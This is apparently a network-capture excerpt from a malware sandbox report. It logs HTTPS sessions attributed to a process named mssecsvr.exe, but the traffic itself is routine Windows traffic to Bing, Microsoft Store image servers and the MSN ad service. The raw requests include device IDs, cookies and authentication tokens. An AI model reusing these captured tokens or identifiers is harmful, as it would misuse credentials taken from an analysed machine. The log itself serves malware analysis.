2022-07-20 17:07:19 UTC	385	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd8yknU0Ka11yykr1%2Bc7MvV8vVkUT31Mb7YrpuFD%2B/6raQk%2Bg7XYvOVtCAtPOCPZliRecxu%2BveDYFsEMu7rloOMvdZnm1/678eADCu7pmtd%2B%2BLKStln8tohAGRr4PKhmsSfL8cIyDDpw7ue/LnTuMM43agwNcIDRoNG0pmc64K5DR0FEMHIsDmgX2jdk58rSlcq4hvrKUVMxtKAv67rmTJwSlSueouj3T/BH9eOWnNw1UgOKyH6JHtkPoF3MFcVvhcSe%2BokEzKUwl/n71eKODCkrWY3wvUkbeCFh/ziUENAQRORNw94SGWopXPhHYNzvHQBoH9%2BSk6v7hBxtffLHs4MDZgAACBxuWcuc9ZMiqAExecSOx9bZVeASVbBIYus0KRGfKVZqS7jKvQd2BHNAvFW1ahKNWDWoVTv7LyqQz2z8SYm9uuWLGLVkmyz99AbCaLwVrtTXbJvKhfD8w7ghru92hfYkokR7WQTPUWBH5m6Butg2bQfBM3IeWKMqaVZoPzZkeJmnXCRj/l4BF9dNolr8dNfaa9OB09cbgyp2ogBHdbjMxj84JBcv8P0p6y5%2B3BJM63qqXl%2B44iqq8JPVs6/WU1/%2B88cbU5OXE%2BBSD9tT/zFXdQHgrisl12pkGoqDuIyyZTHY0y9Ah3%2BrtpKsJPTnxo4NBhW3zlYpLKjPb4hLEqdN%2Bxi4qAYsam3WDXydh5Zi59lK7W3lRPnBCdgP1tHaGxVnsiKqO5nYmpARujFtFTTTBHhcErYf2Orc%2BRBVvwdz29Q/bwDU4z1IRGpsipe/Jo/MV5D84eK3ufhmm41OZJw9CvirUsCsPIOgdYOQzADvR4xOUpmuHny0T0sQ3Ty3kLgtBPoan7lctH3NGlV/HjDtSls4jCBjyVoSgWCKUeb0g9j9K8UE3oPVCKV7lSASYO1HwYXi1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658369182 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: AEE386E4D95049979E3D507F3459ED09 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 17:07:19 UTC	388	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 17:07:19 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 17:07:19 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=06C02CF47D0A6141138A3D137CCA6069&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=BF630EBFE4D044DB9439D9028FB7C286&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=06C02CF47D0A6141138A3D137CCA6069; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 10B32F870CFD4346AF09C84DA049806D Ref B: VIEEDGE1814 Ref C: 2022-07-20T17:07:19Z Date: Wed, 20 Jul 2022 17:07:19 GMT Connection: close
2022-07-20 17:07:19 UTC	389	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	50251	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:21 UTC	393	OUT	GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:21 UTC	393	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 10694 Content-Type: image/png Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE" MS-CV: PAMnN/lHQEOUOWN/.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:21 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:21 UTC	394	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ)RJ)RJ)RJ)RJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49725	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:48 UTC	57	OUT	GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:06:49 UTC	58	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 1493 Content-Type: image/png Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY" MS-CV: WqthG07BiE+6pHh5.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:06:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:06:49 UTC	58	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 57 cb 80 7f d7 9e f4 fb f6 42 Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS\|Iud\WB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	50253	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:21 UTC	404	OUT	GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:22 UTC	405	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 16935 Content-Type: image/png Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE" MS-CV: 0jLeqAm/ckGHvdAs.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:22 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:22 UTC	405	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e\|O-S+&:<yA,aB$($rP6;V
2022-07-20 17:07:22 UTC	421	IN	Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 Data Ascii: VTjT7r{<R5oU>5 &p\>#LT#)JF#Q:TU}fV1!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e\|7:WUfg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	50255	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:22 UTC	422	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020713Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=785df946f98a483799f81135de26dd21&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-280815&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATguwFZ4P182k8J5IkvUiY/HEx6w3DF460bDchaP7cKdiNkqS7XXFrTH9cXx4wHTaJca5dxhxaZT+5wmuZYbtiIA4Hree396A+jM6+LaxRaxyfTByNIyl2QDg/u8GwaSzBsJamsnjSM5BDVcw01qefWOVcEETV4H1UxUwgVasnpcLS9SY+MtGPwAYOsWk0BVwuPorIFos/oiDS1seP/YCl//wi0prJ25jxvIQKHw3VIL3N9xsnsYaYRuARvJAqQNzJ3o/2NbrZCbZW0LtFLhNDJVe1hP0L0mnTulBVPtXcRLhJuaY1LRbR+tkY+kaEwoTKyRqnAeKdBaD5PIa+K01h0DZgAACAqRa0wZzCr+qAFdnPxVXQrfq00Jv/x/a/7XX7rpsTjU1yU0crEF77QFwyE9LGIejw1Cg/hynTV4na14fYXIzI5RolQUFBC6ycleCjsTP8KTzYgMlbxONwsXdy1Ejc856N81Ee5Ftiw+qvHujbN6L2oKgmP80OPKG6v6dSVaLYO7w8Y33+DWOB+6Vqv14P8YXHGaHlce4ne8TFugRUReEFxyggvCYwJ1CCyMNt44wxEIKnoj04sMwa1MUtjFAb45/YNj4n2crNbcHvj9E6/psi85QJo0slbk+GESfINc930L5hZFYRwWgocW/xBRAHqUeNgVA0Xd9vnoRDb9QRYR7Hn71wum+PAYRfUE/0J2ngfp2fWXvM1WfdI35+KgrWrhOMlPa6uyKvY4MP8udqkfljZYvkuh8SvSXysbI8k/14jAI8WM9fwLd3h0/WLNorr6zSd45vVqwgiLNygHmcojv//pT74BRUHjcUyhZRu56OMpC7IALYQrrEI5gST7cFaA8U3pISMw2nFO+IA6lyfXZ8xTNELt2VYJiZOI/kWhfsOFh8xtqquou+KnJkqchgWI8EhI1gE=&p= Cache-Control: no-cache MS-CV: r7U++ELBvUuvTLsQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:07:22 UTC	426	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3046 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: rAENF7btEp0eGuir9rjb6HmWSEgXsjL6tnclAh1drc0aidMO2CU0BdSScT0H90uGRSMnJsjLztDfNbj/JPrYwqv1zCbdLZnRDHoGnJeZmYecdANWpKjSrQjVtvzaFkmP8hDVs4E0forBY5rIQUQgchEVfr36HtG2QdgYAONIgQ93mIABjf80+EUlELHM75lF4zRVuvXALvt6Pz6XXvLzgVFTz//BI7jWLuQaBz0ybOcXy7R1J2aMDDRKhW2WrKaOpifmwUQ4Ehui3f7I6uFTlO0hswlfZRqgtolrsOfLhYCj3WnOK7baP/TsCR5rl8J8j5eKv4MUnTXDn78ixtIVbw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:07:21 GMT Connection: close
2022-07-20 17:07:22 UTC	427	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	50256	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:22 UTC	424	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020713Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e8631560af61401fa219d583d3ba337b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338389&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAalT/BpRpK4Jcdzbxpdvg7rC33McCm5KKgW2iJ32ihUWYPsBQn7z7NynLZ7q9/z4FuVLHRXrEtxdQ4SEjVcpGPI+GyOAgDJsgq3yA4fBK59Yx/Ez0LS0VFoTkkyUI5XrLopDZT+xgam3XenwMHnqh9nQQuk0Jc0u2BeakH1+yCmrYtdIIW9v/gK3SSG9GaWiCYWVSo+JQ39rYY7Y3MDEjo2gRqikpPzyv24zo1Brt6yeuIvryweBlF7MnFxehXBd6CsRF48QDscFGstaZN5PMheBbHYlJEyTqkMZZARdI0IFxqFkW8z1T3ZE8cdDt+A6Dm186G5NsnBLcKeb3v5aoo4DZgAACBPALZXQjljfqAGiK55EMrFWnrQuqmbeoLkykuW//KRUI0VXJZgdeP/YQAGP4Glv502qjtsjUYEnfyTeUzszC3VmK48D+HvSi4nCd1M6XOlFXnLWk64zNgP2DtLZjdKGhu5Xcp82pzUCsUzDVBG8b3gSdNvdUsQL2I5/FfJxTP3SawYm9r8d0hb9LISgscjs6I//xNMOJEVGT61DI88lxy3Iky1vreQSlSuzLGx2H25/aOX6WpK3zj5szHojzbcv/CkCxh8g4qHAof8o+GRoRiWtFlToPWQClAnuU6U9mPDGepXP7C4YKnq+mCaimQ/5CA8vCEmM/rt0/e2CbfWabGZm1UeUd1IPa15XIr/ZFJIuZzMXiCNlQtKqeblUNAO00kNnLVD38LI0izoEeI9DPEF/NBXRaUTmbKLgl7AluJWruNjrrMYMIzDKAQSgDeEAHoUYdUjxc/UH98WHItXOKyNGjIX4SLX7+Yk0s8WQpQT01XsTnGQT/ui0oI5EVoViQfncD8g0AmJxKu5X15XHVOWL7rUkS3F5/R05jcE6Mpbdb9o5HNIB3nN0PZLKoDvN+zkG1gE=&p= Cache-Control: no-cache MS-CV: r7U++ELBvUuvTLsQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:07:22 UTC	430	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3044 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: PJeRZU4K2/QOqlD+8LZgVyKXXSGpZLjJgAIyrogC7jNPGyiZD/S0Qnv/DxAGd1TFrjqvtsAquLk1JNZDzMsNn54tNyb7H6eH296ILGj/ZRzL7tsDOMK3pqeHxS1fXzLn/xKL4O1I0gEpVBk+ihL11SPdLFxNvyhr6iTnFp6ljeIQkxbm9s4d+kNnNFjtSpDxprU688lWtSOM4icMXlIUJS0SOLOpXB7wgLvsDr5FTpmuE95e0dBYDhQCMEpNhN+aK3NaojmpL1s6mkK5BmySckZ+sLY+eKDQhWXexXajMw/fHMHeKz1nYFV6uccKmHiFEkqH7Ah5R8E9BYwP2aaI5A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:07:22 GMT Connection: close
2022-07-20 17:07:22 UTC	431	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	50309	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
